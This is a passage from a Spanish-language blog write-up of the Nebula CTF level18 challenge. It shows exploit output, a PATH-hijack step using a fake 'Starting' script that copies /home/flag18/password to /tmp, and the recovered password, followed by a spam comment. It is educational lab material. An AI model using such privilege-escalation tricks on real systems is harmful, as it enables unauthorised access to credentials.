[+] Duplicando descriptores...
[+] Descriptores abiertos: 1020
[+] Ejecutando /home/flag18/flag18...
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
login
closelog
shell
/tmp/log: line 1: Starting: command not found
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'

/bin/sh intenta ejecutar el comando Starting, que coincide exactamente con la primera palabra contenida dentro de /tmp/log:

level18@nebula:/tmp$ cat /tmp/log
Starting up. Verbose level = 0
logged in successfully (without password file)

Con lo cual ya solo queda crear en /tmp un script de nombre Starting con permisos de ejecución, y establecer la variable $PATH a este mismo directorio mediante export PATH=/tmp:$PATH.

#!/bin/sh

cat /home/flag18/password > /tmp/flag18pass

Pinto Pinto Gorgorito...

level18@nebula:/tmp$ ./l18exploit 
[+] Duplicando descriptores...
[+] Descriptores abiertos: 1020
[+] Ejecutando /home/flag18/flag18...
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
login
closelog
shell
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'
level18@nebula:/tmp$ cat flag18pass
44226113-d394-4f46-9406-91888128e27a

Pwned!

1 comentario:

  1. youtube channel (with videos) - Videoodl.cc
    youtube channel (with videos) · youtube channel (with videos) · youtube channel (with videos) · youtube channel convert youtube video to mp3 (with videos) · youtube channel (with videos)

    ResponderEliminar

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...